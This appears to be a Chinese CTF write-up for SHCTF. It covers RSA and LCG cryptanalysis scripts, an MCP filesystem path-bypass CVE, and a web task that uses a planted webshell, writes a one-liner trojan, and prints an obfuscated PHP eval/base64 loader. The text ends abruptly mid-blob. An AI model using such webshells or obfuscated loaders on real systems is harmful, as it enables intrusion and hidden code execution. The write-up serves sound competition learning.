5493 字
27 分钟
[比赛篇 | SHCTF]第三届SHCTFWP

MISC#

[阶段1] Evan#

so作为一位资深的CTF女师傅,却是个乙游的狂热爱好者,这是她珍藏已久的照片,找出flag

随波逐流,foremost提取文件,然后zip伪加密修复拿到flag:

image-20260203171807998

[阶段2] ezAI#

输入 help 获取帮助 在 https://bigmodel.cn/usercenter/proj-mgmt/apikeys 新建 API Key 并在靶机中填入 靶机安装了 https://www.npmjs.com/package/@modelcontextprotocol/server-filesystem/v/0.6.1 flag文件放置在/root下,flag的文件名需自行读取

cve-2025-53110,漏洞利用细节: CVE-2025-53110 安全漏洞及漏洞利用详情

读取到chat.php:

<?php
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
@ob_end_clean(); // 清除现有缓冲区
set_time_limit(0);
// 设置头信息,禁止浏览器缓存
header('Content-Type: application/x-ndjson');
header('Cache-Control: no-cache');
header('Connection: keep-alive');
header('X-Accel-Buffering: no'); // 针对某些代理服务器
$MCP_HOST = '127.0.0.1';
$MCP_PORT = 1337;
$GLM_API_URL = 'https://open.bigmodel.cn/api/paas/v4/chat/completions';
// MCP 工具定义
$MCP_TOOLS = [
[
"type" => "function",
"function" => [
"name" => "read_file",
"description" => "Read complete contents of a file",
"parameters" => [
"type" => "object",
"properties" => [
"path" => ["type" => "string"]
],
"required" => ["path"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "read_multiple_files",
"description" => "Read multiple files simultaneously; failed reads do not stop the operation",
"parameters" => [
"type" => "object",
"properties" => [
"paths" => [
"type" => "array",
"items" => ["type" => "string"]
]
],
"required" => ["paths"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "write_file",
"description" => "Create new file or overwrite existing (exercise caution with this)",
"parameters" => [
"type" => "object",
"properties" => [
"path" => ["type" => "string"],
"content" => ["type" => "string"]
],
"required" => ["path", "content"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "create_directory",
"description" => "Create new directory or ensure it exists",
"parameters" => [
"type" => "object",
"properties" => [
"path" => ["type" => "string"]
],
"required" => ["path"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "list_directory",
"description" => "List directory contents with [FILE] or [DIR] prefixes",
"parameters" => [
"type" => "object",
"properties" => [
"path" => ["type" => "string"]
],
"required" => ["path"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "move_file",
"description" => "Rename a file or directory to a new path. IMPORTANT: The 'destination' argument MUST be the full final path including the filename. Do NOT provide just a directory path.",
"parameters" => [
"type" => "object",
"properties" => [
"source" => ["type" => "string", "description" => "Current full path of the file"],
"destination" => ["type" => "string", "description" => "New full path including filename (e.g., /dir/file.txt)"]
],
"required" => ["source", "destination"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "search_files",
"description" => "Recursively search for files/directories",
"parameters" => [
"type" => "object",
"properties" => [
"path" => ["type" => "string"],
"pattern" => ["type" => "string"]
],
"required" => ["path", "pattern"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "get_file_info",
"description" => "Get detailed file/directory metadata",
"parameters" => [
"type" => "object",
"properties" => [
"path" => ["type" => "string"]
],
"required" => ["path"]
]
]
],
[
"type" => "function",
"function" => [
"name" => "list_allowed_directories",
"description" => "List all directories the server is allowed to access",
"parameters" => [
"type" => "object",
"properties" => [],
"required" => []
]
]
]
];
$SYSTEM_PROMPT = "You are a Linux terminal assistant. " .
"You have access to the local filesystem via MCP tools. " .
"Output format: Concise, technical, no Markdown.";
// 发送数据并强制刷新
function send_chunk($data) {
echo json_encode($data) . "\n";
flush(); // 立即推送到浏览器
}
// 调用 MCP
function call_mcp_tool($func, $args) {
global $MCP_HOST, $MCP_PORT;
$sock = fsockopen($MCP_HOST, $MCP_PORT, $errno, $errstr, 5);
if (!$sock) return "Socket Error: $errstr";
// 如果 $args 为空数组,强制转换为对象,以便 json_encode 输出 {}
$finalArgs = empty($args) ? new stdClass() : $args;
$payload = [
"jsonrpc" => "2.0",
"id" => rand(),
"method" => "tools/call",
"params" => ["name" => $func, "arguments" => $finalArgs]
];
fwrite($sock, json_encode($payload) . "\n");
$resp = "";
while(!feof($sock)) {
$chunk = fgets($sock, 8192);
$resp .= $chunk;
if (strpos($chunk, "\n") !== false) break;
}
fclose($sock);
$json = json_decode($resp, true);
if (isset($json['error'])) return "Error: " . $json['error']['message'];
$resText = "";
if (isset($json['result']['content'])) {
foreach($json['result']['content'] as $c) {
if ($c['type'] == 'text') $resText .= $c['text'];
}
}
return $resText ?: "OK";
}
// 处理 GLM 流式请求
function stream_glm($messages, $api_key, $recursion_depth = 0) {
global $GLM_API_URL, $MCP_TOOLS;
if ($recursion_depth > 3) return;
$data = [
"model" => "glm-4-flash",
"messages" => $messages,
"tools" => $MCP_TOOLS,
"tool_choice" => "auto",
"temperature" => 0.1,
"stream" => true
];
$ch = curl_init($GLM_API_URL);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Authorization: Bearer $api_key", "Content-Type: application/json"]);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
// 状态保持
$tool_call_accumulator = ["id" => "", "name" => "", "args" => ""];
$is_tool_calling = false;
$assistant_reply = "";
curl_setopt($ch, CURLOPT_WRITEFUNCTION, function($ch, $chunk) use (&$tool_call_accumulator, &$is_tool_calling, &$assistant_reply) {
$lines = explode("\n", $chunk);
foreach ($lines as $line) {
$line = trim($line);
if (strpos($line, 'data: ') === 0) {
$content_str = substr($line, 6);
if ($content_str === '[DONE]') continue;
$json = json_decode($content_str, true);
$delta = $json['choices'][0]['delta'] ?? [];
// 1. 处理文本流
if (isset($delta['content'])) {
$content = $delta['content'];
$assistant_reply .= $content;
send_chunk(["type" => "token", "content" => $content]);
}
// 2. 处理工具调用
if (isset($delta['tool_calls'])) {
$is_tool_calling = true;
$tc = $delta['tool_calls'][0];
if (isset($tc['id'])) $tool_call_accumulator['id'] = $tc['id'];
if (isset($tc['function']['name'])) $tool_call_accumulator['name'] .= $tc['function']['name'];
if (isset($tc['function']['arguments'])) $tool_call_accumulator['args'] .= $tc['function']['arguments'];
}
}
}
return strlen($chunk);
});
curl_exec($ch);
curl_close($ch);
// 如果检测到工具调用完成
if ($is_tool_calling && !empty($tool_call_accumulator['name'])) {
$func = $tool_call_accumulator['name'];
$argsStr = $tool_call_accumulator['args'];
$callId = $tool_call_accumulator['id'] ?: "call_".rand();
// 告诉前端正在执行
send_chunk(["type" => "tool_log", "content" => "[EXEC] $func $argsStr"]);
// 执行本地 MCP
$args = json_decode($argsStr, true);
$result = call_mcp_tool($func, $args);
// 告诉前端结果
send_chunk(["type" => "tool_log", "content" => "[RET] " . substr($result, 0, 100) . "..."]);
// 构造新的消息历史
$messages[] = [
"role" => "assistant",
"content" => null,
"tool_calls" => [[
"id" => $callId,
"type" => "function",
"function" => ["name" => $func, "arguments" => $argsStr]
]]
];
$messages[] = [
"role" => "tool",
"tool_call_id" => $callId,
"content" => $result
];
// 递归调用,发送工具结果给 GLM 并获取最终回复
stream_glm($messages, $api_key, $recursion_depth + 1);
}
}
// 入口逻辑
$input = json_decode(file_get_contents('php://input'), true);
$messages = $input['messages'] ?? [];
$apiKey = $input['apiKey'] ?? '';
if (empty($messages) || empty($apiKey)) {
send_chunk(["type" => "error", "content" => "Invalid Request"]);
exit;
}
if ($messages[0]['role'] !== 'system') {
array_unshift($messages, ["role" => "system", "content" => $SYSTEM_PROMPT]);
}
// 启动流
stream_glm($messages, $apiKey);
?>
image-20260205170007392

目前发现存在

Crypto#

[阶段1] StreamEz_RSA#

e怎么这么大啊

Gemini直接解:

from Crypto.Util.number import getPrime,bytes_to_long
from gmpy2 import invert
from secret import flag
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1) * (q-1)
e = getPrime(1019)
d = invert(e, phi)
c = pow(m,e,n)
"""
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299
e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689
c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
"""

exp:

import gmpy2
from Crypto.Util.number import long_to_bytes
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299
e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689
c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
def continued_fraction(n, d):
res = []
while d:
res.append(n // d)
n, d = d, n % d
return res
def convergents(cf):
nm, dn = [], []
for i in range(len(cf)):
if i == 0:
nm.append(cf[i]); dn.append(1)
elif i == 1:
nm.append(cf[i] * cf[i-1] + 1); dn.append(cf[i])
else:
nm.append(cf[i] * nm[i-1] + nm[i-2])
dn.append(cf[i] * dn[i-1] + dn[i-2])
yield nm[i], dn[i]
def solve_pq(a, b, c):
"""求解二次方程 ax^2 + bx + c = 0"""
delta = b*b - 4*a*c
if delta > 0:
sq = gmpy2.isqrt(delta)
if sq*sq == delta:
return (-b + sq) // (2*a), (-b - sq) // (2*a)
return None
def wiener_attack(e, n):
cf = continued_fraction(e, n)
for k, d in convergents(cf):
if k == 0: continue
# 根据 ed - 1 = k * phi(n) 推导 phi
phi = (e * d - 1) // k
# 利用 n = pq 和 phi = (p-1)(q-1) 构造方程:
# x^2 - (n - phi + 1)x + n = 0
b = n - phi + 1
roots = solve_pq(1, -b, n)
if roots:
p, q = roots
if p * q == n:
return d
return None
print("[*] 正在尝试 Wiener's Attack...")
d = wiener_attack(e, n)
if d:
print(f"[+] 找到私钥 d: {d}")
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"[!] 解密结果: {flag.decode(errors='ignore')}")
else:
print("[-] 攻击失败,d 可能不够小,或者 e/n 的分布不符合 Wiener 条件。")

脚本中验证 dd 的逻辑基于以下代数关系:

  1. 已知ϕ=(p1)(q1)=pq(p+q)+1\phi = (p-1)(q-1) = pq - (p+q) + 1
  2. 代换:由于 n=pqn = pq,可以得出 p+q=nϕ+1p+q = n - \phi + 1
  3. 构造方程:根据韦达定理, ppqq 是方程 x2(p+q)x+n=0x^2 - (p+q)x + n = 0 的两个根。
  4. 判别式验证:我们只需要计算 D=(p+q)24nD = (p+q)^2 - 4n。如果 DD 是一个完全平方数,说明我们找到了正确的 ϕ\phi(也就找到了正确的 dd)。
image-20260203172937789

[阶段1] Stream#

LCCCGGGGG

from secrets import randbits
from secret import FLAG, P_known
def gen():
while True:
m = randbits(63) | (1 << 62) | 1
if m > 2**62:
break
a = randbits(62) | 3
c = randbits(62) | 1
s0 = randbits(62) | 5
return m, a, c, s0
def LCG(m, a, c, s0, nblocks):
x = s0
out = []
for _ in range(nblocks):
x = (a * x + c) % m
out.append(x)
return out
def encrypt(m, a, c, s0, plaintext: bytes) -> bytes:
padlen = (-len(plaintext)) % 8
pt = plaintext + b'\x00' * padlen
blocks = [int.from_bytes(pt[i:i+8], 'big') for i in range(0, len(pt), 8)]
ks = LCG(m, a, c, s0, len(blocks))
cblocks = [b ^ k for b, k in zip(blocks, ks)]
return b''.join(cb.to_bytes(8, 'big') for cb in cblocks)
def main():
m, a, c, s0 = gen()
cipher = encrypt(m, a, c, s0, P_known + FLAG)
C_known = cipher[:len(P_known)]
C_flag = cipher[len(P_known):len(P_known) + len(FLAG)]
print("P_known =",P_known)
print("C_known =", C_known.hex())
print("C_flag =", C_flag.hex())
if __name__ == "__main__":
main()
'''
P_know = b'Insecure_linear_congruential_random_number!!!!!!'
C_known = 44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91a
C_flag = 1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a
'''
  1. 已知 P_known ⊕ C_known ⇒ 连续 LCG 输出

    用经典 LCG 参数恢复

    • 差分法 + gcd 恢复 m
    • 解线性同余恢复 a, c

    复现 keystream,异或解出 FLAG

  2. 用已知明文 P_known 与对应的密文 C_known 按 8 字节块异或,得到若干连续的 LCG 输出(即 keystream 的块值)。

  3. 利用连续输出构造数列差分,计算若干值 t = d1^2 - d2*d0,对这些 t 取 gcd 可恢复出模数 m(这里 gcd 恰好等于 m)。

  4. 用模 m 与已知输出解出乘子 a、加数 c、以及初始种子 s0,并验证能重现已知 keystream。

  5. 用恢复出的 keystream 对 C_flag 对应的字节段逐字节异或,得到 FLAG 明文。

from math import gcd
from functools import reduce
# ================== 已知数据 ==================
P_known = b'Insecure_linear_congruential_random_number!!!!!!'
C_known_hex = (
"44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29"
"249845720588cac007bfb94f8476d91a"
)
C_flag_hex = (
"1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703"
"658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5b"
"f2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428"
"cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a"
)
C_known = bytes.fromhex(C_known_hex)
C_flag = bytes.fromhex(C_flag_hex)
# ================== 1. 恢复 keystream ==================
def blocks(b):
return [int.from_bytes(b[i:i+8], 'big') for i in range(0, len(b), 8)]
P_blocks = blocks(P_known)
C_blocks = blocks(C_known)
ks = [p ^ c for p, c in zip(P_blocks, C_blocks)]
# ================== 2. 恢复模数 m ==================
d = [ks[i+1] - ks[i] for i in range(len(ks)-1)]
vals = []
for i in range(len(d)-2):
t = d[i+2] * d[i] - d[i+1] * d[i+1]
if t != 0:
vals.append(abs(t))
m = reduce(gcd, vals)
print("[+] m =", m)
# ================== 3. 恢复 a, c ==================
def inv(x, m):
return pow(x, -1, m)
a = ((ks[2] - ks[1]) * inv((ks[1] - ks[0]) % m, m)) % m
c = (ks[1] - a * ks[0]) % m
print("[+] a =", a)
print("[+] c =", c)
# ================== 4. 生成完整 keystream ==================
def LCG(m, a, c, s0, n):
x = s0
out = []
for _ in range(n):
x = (a * x + c) % m
out.append(x)
return out
s0 = ks[0]
flag_blocks = blocks(C_flag)
ks_flag = LCG(m, a, c, s0, len(flag_blocks) + len(ks))[len(ks):]
# ================== 5. 解密 FLAG ==================
flag = b''.join(
(c ^ k).to_bytes(8, 'big')
for c, k in zip(flag_blocks, ks_flag)
).rstrip(b'\x00')
print("\n[+] FLAG =", flag.decode())

[阶段1] TE#

贝祖???

from Crypto.Util.number import *
import random
from secret import flag
p, q = getPrime(512), getPrime(512)
n = p * q
e1 = random.getrandbits(32)
e2 = random.getrandbits(32)
print(f'{e1 = }')
print(f'{e2 = }')
m = bytes_to_long(flag)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print(f'{n = }')
print(f'{c1 = }')
print(f'{c2 = }')
'''
e1 = 740153575
e2 = 2865243571
n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897
c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685
c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323
'''
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from math import gcd
from Crypto.Util.number import long_to_bytes
# ===================== 已知参数 =====================
e1 = 740153575
e2 = 2865243571
n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897
c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685
c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323
# ===================== 扩展欧几里得 =====================
def egcd(a, b):
if b == 0:
return 1, 0, a
x, y, g = egcd(b, a % b)
return y, x - (a // b) * y, g
# ===================== 主逻辑 =====================
def main():
print("[*] gcd(e1, e2) =", gcd(e1, e2))
s, t, g = egcd(e1, e2)
assert g == 1, "e1 和 e2 不互素,不能直接用该攻击"
print(f"[*] s = {s}")
print(f"[*] t = {t}")
print(f"[*] check: {s}*e1 + {t}*e2 =", s*e1 + t*e2)
# 处理负指数
if s < 0:
part1 = pow(pow(c1, -1, n), -s, n)
else:
part1 = pow(c1, s, n)
if t < 0:
part2 = pow(pow(c2, -1, n), -t, n)
else:
part2 = pow(c2, t, n)
m = (part1 * part2) % n
flag = long_to_bytes(m)
print("\n[+] FLAG =", flag.decode())
if __name__ == "__main__":
main()

[阶段1] not_eight_length#

并不是所有的题目都是8位哦

from Crypto.Util.number import *
from sympy import *
from secret import encrypted_flag
m = bytes_to_long(encrypted_flag)
p = getPrime(512)
temp = nextprime(p)
q = nextprime(temp)
n = p * q
e = 65537
c = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
# n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527
# e = 65537
# c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
from Crypto.Util.number import long_to_bytes, inverse
import math
# 题目给出的数据
n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527
e = 65537
c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
# 1. 寻找 p 和 q
# 因为 p 和 q 靠得很近,p < sqrt(n) < q
p_guess = math.isqrt(n)
if p_guess % 2 == 0:
p_guess -= 1
p = 0
q = 0
# 向下搜索 p
for i in range(1000): # 紧邻素数通常在很小的步长内
target = p_guess - i * 2
if n % target == 0:
p = target
q = n // target
break
if p != 0:
print(f"[+] Found p: {p}")
print(f"[+] Found q: {q}")
# 2. 计算私钥 d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
# 3. 解密得到 m
m = pow(c, d, n)
# 将 m 转为字节
# 注意:这里的 m 可能是上一题的参数或标志
decrypted_msg = long_to_bytes(m)
print(f"\n[!] RSA Decrypted (m): {decrypted_msg.hex()}")
print(f"[!] As String (if printable): {decrypted_msg}")
else:
print("[-] Failed to find factors. Check the search range.")
from Crypto.Util.number import long_to_bytes
m_hex = "14e443a91bdb97399a6164cdc2d738b2355ad1cb8c2b7138cb856b5c79193467859b6c2c5cfd"
m_int = int(m_hex, 16)
def trial_bit_size(n, bit_size):
"""尝试以 bit_size 为单位解析大整数"""
res = ""
temp_n = n
mask = (1 << bit_size) - 1
chars = []
while temp_n > 0:
chars.append(temp_n & mask)
temp_n >>= bit_size
# 逆序回来看看结果
try:
return "".join(chr(x) for x in chars[::-1])
except:
return None
# 尝试常见的位宽:7位 (标准ASCII), 6位 (Base64映射)
print(f"7-bit trial: {trial_bit_size(m_int, 7)}")
print(f"8-bit trial: {long_to_bytes(m_int)}")

[阶段1] 古典也颇有韵味啊#

你是维吉尼亚还是维多利亚?倒是有点共同点(结果请将flag头改成SHCTF{}提交)

密文:bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}
encode_key:ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA

[阶段1] AES的诞生#

你真的了解AES吗???

web#

[阶段1] 05_em_v_CFK#

继某两所大学校内餐厅被黑后,终于考上大学的小明也想“逝世”,但是他遇到了一些困难于是请求你的帮助。他给你留了一个webshell,并给你的一条线索,去帮他完成吧。

请联系CTF生活,写一篇文章,谈谈你的认识与思考。

要求:(1)自拟题目;(2)不少于 800字

题目中说给了线索,在源代码处:

image-20260217210634042

使用的是ROT13变体表进行base64编码的,写个解码脚本:

import base64
ciphertext = "5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa"
# ROT13 Base64 -> Standard Base64 对照表
rot13_table = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/"
standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 翻译回标准 Base64
trans_table = str.maketrans(rot13_table, standard_table)
standard_b64 = ciphertext.translate(trans_table)
# 解码
decoded = base64.b64decode(standard_b64)
print(decoded.decode('utf-8'))
# 我上传了个shell.php, 带上show参数get小明的圣遗物吧

目录扫描发现存在uploads目录

image-20260225155657408

尝试拼接shell.php?show:

image-20260217210940950

发现是需要post传入的参数key0的值md5加密后要等与pass,然后就可以命令执行,对$pass解密:

image-20260217211010000image-20260217211317367

写入一句话木马: image-20260217212054984

image-20260217212106311

先看index.php的逻辑:

<?php
include 'connect.php';
$my_money = 3.00;
$msg = "";
$target_id = 0;
if (isset($_POST['buy']) && isset($_POST['item_id'])) {
$target_id = (int)$_POST['item_id'];
if ($target_id > 0) {
try {
$stmt = $pdo->prepare("CALL buy_item(?, ?)");
$stmt->execute([$target_id, $my_money]);
$res = $stmt->fetch();
$msg = $res['final_message'];
$my_money -= $res['current_price'];
} catch (Exception $e) {
$msg = "Transaction Error: " . $e->getMessage();
}
} else {
$msg = "Invalid item selected.";
}
} else {
try {
$stmt = $pdo->query("SELECT id, name, price FROM goods ORDER BY id ASC");
if ($stmt === false) {
exit;
}
$goods_list = $stmt->fetchAll();
} catch (Exception $e) {
die("Error fetching goods list.");
}
}
?>

发现就是在数据库中直接进行操作,查看connect.php:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};
$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};
$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};
$OO0000=$O00OO0{7}.$O00OO0{13};
$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iYk1xa2FtY2RnQ3RVdWpRREZUeFpMeVB2QXJSaGlTbkd6ZkhzSktZbGV3VlhFcE9Cb05JV0JRT1VDdGRBSXZLaVdOTGdhVlJ4VGxldXJFY1BTWmZ5R3F6a1luWGhvSmJITXNtandEcEZlZzlKQ3pyblRsOEk1Qmw2NUVvMzVFb3k1NHRwNXNsazc3bFE1VFNENUJXNjZuNlc1eGx3NTVscTVDNm81NVpxNVRPZjU0NnU1Q25nNVQyLzU1Wnd2U1B0QUY1TkF5aHVCU3J3blpqN3ZTcklwdnJ1VGxnaFNPTnRJcHpzSXBmVVduRWhQNzN0aEJndXVZc1NYSERoRE5jcXh5Yk5CMmNodlNySXB2clVIMTlxeFNyOXB2QVNYSERoWWxyV3B2ZDJEYThmcHY0SVkyY2hYMjlVeFpkN3ZJd0lwdnJJVGw4STV4dk01Nm9ENlhGRDU3Mlc1WHlDcHlZUGQyaTJEdmdmdVlCZndwenN0c2d3aDQ4bnB2cklwdmNxSDBYSWVacmZYM2oxWWxyV3B2QXFZbHJXcHZBdHhIY05DdmQ3dlNySXB2clVYdGFHeFZYMEgyY2hYMjlVeFpyOXB2QVBZbHJXcHpEMVhmRDBkU0lVSDE5eVR2clJUdnJSblpyV3B2QU5ZbHJXcHpEMVhmRDBkU0lVSDE5eVR2cmxuVmtucHZySXB2Y3FIMElJZVpyZlhVZDVDaGhIb3k5U1EwNEpZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHlSdVgyYWtDeTlHQXJ3SXB2cklZYTlxY3ZyOXB2TFVIMTlxeFNJZkgxOU1ZbFU3cHY4dXB2QU5RdFAyWDBNOWVaZDdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJVGw4SWQyUHVkcndJcHZySVlhOXFiWnI5cHZMVUgxOXF4U0lVSDE5TW5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2OHVweUQweGg5MWQyYmxwdkF4UTFZS0ZnREZvaHNYWlYwZnZTcklwdnJVSDE5THBnMElZdmNxSDE5dG52Y3FIMExJVFNyVUgxOWJuVmtJVGw4ZkZWRFpCYklHTHRQTlEwNEdYTkRuQzFQNmNIaERBRzA5WUdrSXB2cklwdjh1cHlEMHhoOUpYSERHQTI5bHhhOFJRTlFucHZySXB2Y3FIMFFJZVpyZnhhUFpCaTl6UUZobUxWMDlZR2tJcHZySXB2cklwdnJJcHZySXB2cklwdjh1cHpiMHhOUEtYTkxudlNySXB2cnVUbGd3czZlZndwemhQN0VmZlkvaEVzN2hJVEpucHZySXB2Y3FIMTlxSDJQdWQzTElwdnJJZVpyVUgxOXF4U0lVSDE5cG5Wa25wdnJJcHZjcUgxOXFIMmNTcHZySXB2ckllWnJVSDE5cXhTSVVIMTlNblZrbnB2cklwdmNxSDE5cUgzYkd4SHBJcHZySWVaclVIMTlxeFNJVUgxOWJuVmtucHZySXB2Y3FIMTlxSDNqUGQzUUlwdnJJZVpyVUgxOXF4U0lVSDE5TG5Wa25wdnJJcHZjcUgxOXFIMkR3WEhZR3hITEllWnJVSDE5cXhTSVVIMTlnblZrbnZTcklwdnJ1VGxndGZ3VnNJbnJJcHQxNWQzYWttdFB1ZDNMOVRTNFdtMmNTQnRhS3hWMFdUUzQ3WDJQUGRmRGhBZzBXVFM0U3ZTcklwdnJVSDE5cWRnTUllWmpOQ3pwd1FWcjVuWnJXcHlEd2RTSVJRTk1zcHY0SVgyUGxuZ01SRFpVSVRTak5DenB3UVZNR25acldweUR3ZFNJUlFnSXNtbHJ1VGxyU0JIaEdkRkpTdlNySXB2clVIMTlxZGdwSWVaclVIMTlxZGdNSVRTak5DenB3RFZJc3B2NElZMlB1ZDNMZnB2NElYMlBsbmdYUm5Wa0lwdnJJcHZySXB2cklwdnJJcHZySXB2cnVUbHJTQkhoR2RGSjZDeTlHQWcwU3ZTcklwdnJVSDE5cWRnUUllWnJmbWxkSVRTcmZ4eVlXWEYxaFlscldweUR3ZFNJMlFaVTdwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yY1NCdGFLeFYwU3ZTcklwdnJVSDE5cWRnTEllWnJmbWxkSVRTcmZYMlBQZGZEaEF2ZElUU2pOQ3pwd0ROTXNtbHJJcHZySXB2cklwdnJJcHZySXB2cklwdnJJcHZySXB2cklwdnJ1VGxyU20yRHdYSFlHeEhMOXBJd25wdnJJcHZjcUgxOXF4ekRXcGcwSVlhOXFIM3JscHY0SVlhOXFIMTlxQ3k5R0F2cldwdmNxSDE5SlFscldwdmNxSDE5cUgyY1NwdjRJWWE5cUgzcjBwdjRJWWE5cUgxOXFYMlBQZGZEaEFna252U3JJcHZydVRsZ2hTT050SXB6dGZ3VnNJbmdma0J1aFVwMElwaGpNVmxwbnB2cklwdmNxSDE5TkJ6UUllWmpOQ3pwd21ncnNwdjRJWDJQbG5nWDRuWnJXcHlEd2RTSTNtWlU3dkl3SXB2cklUbDhJaU1jZXBtdHJTb3RQV29GTE5tQ0lLK0MzSytaNEltb3ZXTHdJcHZySVlhOXFIMTl1ZHpjR3BnMElGMTA3dlNySXB2clVIMTlxSDI5SkF6REJYMjlXZDNjUEJmTHdZMWpNVkd3NkxiY2lpaDlhaWhZRFYwY2FZbGhBcHZySXB2cklwdnJJcHZySWVaak5CMjVHQXlhV0F2SWZpTWNlbU5zYWloWURWMGNhSDBiWEwwYkxiTWhlVlNkc21Kd0lwdnJJWW